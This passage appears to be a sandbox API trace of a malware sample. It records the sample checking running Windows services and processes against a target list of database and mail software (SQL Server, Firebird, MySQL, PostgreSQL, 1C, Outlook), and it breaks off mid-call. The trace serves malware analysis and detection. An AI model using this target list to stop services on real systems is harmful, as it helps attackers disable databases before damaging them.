(lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0031.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0031.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0031.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0031.265] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0031.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0031.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0031.265] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0031.265] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0031.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0031.265] lstrlenW (lpString="AudioSrv") returned 8 [0031.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0031.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0031.265] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0031.265] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0031.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0031.265] lstrlenW (lpString="BFE") returned 3 [0031.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0031.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0031.265] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0031.265] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0031.265] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0031.265] lstrlenW (lpString="CryptSvc") returned 8 [0031.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0031.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0031.265] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0031.265] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0031.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0031.266] lstrlenW (lpString="CscService") returned 10 [0031.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0031.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0031.266] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0031.266] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0031.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0031.266] lstrlenW (lpString="DcomLaunch") returned 10 [0031.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0031.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0031.266] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0031.266] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0031.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0031.266] lstrlenW (lpString="Dhcp") returned 4 [0031.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0031.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0031.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0031.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0031.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0031.266] lstrlenW (lpString="Dnscache") returned 8 [0031.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0031.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0031.266] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0031.266] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0031.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0031.266] lstrlenW (lpString="DPS") returned 3 [0031.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0031.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0031.266] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0031.266] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0031.266] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0031.266] lstrlenW (lpString="eventlog") returned 8 [0031.266] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0031.266] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0031.266] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0031.266] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0031.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0031.267] lstrlenW (lpString="EventSystem") returned 11 [0031.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0031.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0031.267] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0031.267] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0031.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0031.267] lstrlenW (lpString="gpsvc") returned 5 [0031.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0031.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0031.267] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0031.267] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0031.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0031.267] lstrlenW (lpString="iphlpsvc") returned 8 [0031.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0031.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0031.267] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0031.267] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0031.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0031.267] lstrlenW (lpString="LanmanServer") returned 12 [0031.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0031.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0031.267] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0031.267] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0031.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0031.267] lstrlenW (lpString="LanmanWorkstation") returned 17 [0031.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0031.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0031.267] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0031.267] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0031.267] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0031.267] lstrlenW (lpString="lmhosts") returned 7 [0031.267] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0031.267] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0031.267] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0031.267] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0031.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0031.268] lstrlenW (lpString="MMCSS") returned 5 [0031.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0031.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0031.268] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0031.268] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0031.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0031.268] lstrlenW (lpString="MpsSvc") returned 6 [0031.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0031.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0031.268] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0031.268] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0031.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0031.268] lstrlenW (lpString="Netman") returned 6 [0031.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0031.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0031.268] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0031.268] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0031.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0031.268] lstrlenW (lpString="netprofm") returned 8 [0031.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0031.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0031.268] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0031.268] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0031.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0031.268] lstrlenW (lpString="NlaSvc") returned 6 [0031.268] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0031.268] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0031.268] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0031.268] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0031.268] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0031.268] lstrlenW (lpString="nsi") returned 3 [0031.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0031.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0031.269] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0031.269] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0031.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0031.269] lstrlenW (lpString="PcaSvc") returned 6 [0031.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0031.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0031.269] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0031.269] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0031.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0031.269] lstrlenW (lpString="PlugPlay") returned 8 [0031.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0031.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0031.269] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0031.269] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0031.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0031.269] lstrlenW (lpString="Power") returned 5 [0031.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0031.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0031.269] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0031.269] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0031.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0031.269] lstrlenW (lpString="ProfSvc") returned 7 [0031.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0031.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0031.269] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0031.269] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0031.269] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0031.269] lstrlenW (lpString="RpcEptMapper") returned 12 [0031.269] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0031.269] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0031.269] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0031.270] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0031.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0031.270] lstrlenW (lpString="RpcSs") returned 5 [0031.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0031.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0031.270] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0031.270] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0031.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0031.270] lstrlenW (lpString="SamSs") returned 5 [0031.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0031.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0031.270] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0031.270] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0031.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0031.270] lstrlenW (lpString="Schedule") returned 8 [0031.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0031.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0031.270] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0031.270] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0031.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0031.270] lstrlenW (lpString="SENS") returned 4 [0031.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0031.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0031.270] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0031.270] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0031.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0031.270] lstrlenW (lpString="ShellHWDetection") returned 16 [0031.270] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0031.270] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0031.270] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0031.270] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0031.270] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0031.270] lstrlenW (lpString="Spooler") returned 7 [0031.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0031.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0031.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0031.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0031.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0031.271] lstrlenW (lpString="SysMain") returned 7 [0031.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0031.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0031.271] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0031.271] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0031.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0031.271] lstrlenW (lpString="Themes") returned 6 [0031.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0031.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0031.271] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0031.271] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0031.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0031.271] lstrlenW (lpString="TrkWks") returned 6 [0031.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0031.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0031.271] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0031.271] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0031.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0031.271] lstrlenW (lpString="UxSms") returned 5 [0031.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0031.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0031.271] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0031.271] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0031.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0031.271] lstrlenW (lpString="WdiServiceHost") returned 14 [0031.271] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0031.271] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0031.271] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0031.271] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0031.271] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0031.272] lstrlenW (lpString="WdiSystemHost") returned 13 [0031.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0031.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0031.272] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0031.272] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0031.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0031.272] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0031.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0031.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0031.272] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0031.272] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0031.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0031.272] lstrlenW (lpString="Winmgmt") returned 7 [0031.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0031.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0031.272] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0031.272] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0031.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0031.272] lstrlenW (lpString="WPDBusEnum") returned 10 [0031.272] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0031.272] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0031.272] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0031.272] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0031.272] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0031.272] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x65e4a8 | out: hHeap=0x5f0000) returned 1 [0031.272] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x118 [0031.274] Process32FirstW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0031.275] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0031.276] lstrlenW (lpString="System") returned 6 [0031.276] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0031.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0031.276] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0031.276] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0031.276] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0031.276] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0031.276] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0031.276] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0031.276] lstrlenW (lpString="smss.exe") returned 8 [0031.276] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0031.276] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0031.276] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0031.277] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0031.277] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0031.277] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0031.277] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0031.277] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.277] lstrlenW (lpString="csrss.exe") returned 9 [0031.277] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0031.277] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0031.277] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0031.277] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0031.277] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0031.277] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0031.277] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0031.277] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0031.278] lstrlenW (lpString="wininit.exe") returned 11 [0031.278] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0031.278] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0031.278] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0031.279] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0031.279] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0031.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0031.279] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0031.279] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0031.279] lstrlenW (lpString="csrss.exe") returned 9 [0031.279] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0031.279] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0031.279] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0031.279] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0031.279] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0031.279] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0031.280] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0031.280] lstrlenW (lpString="winlogon.exe") returned 12 [0031.280] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0031.281] lstrlenW (lpString="services.exe") returned 12 [0031.281] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0031.281] lstrlenW (lpString="lsass.exe") returned 9 [0031.281] Process32NextW (in: hSnapshot=0x118, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0031.282] lstrlenW 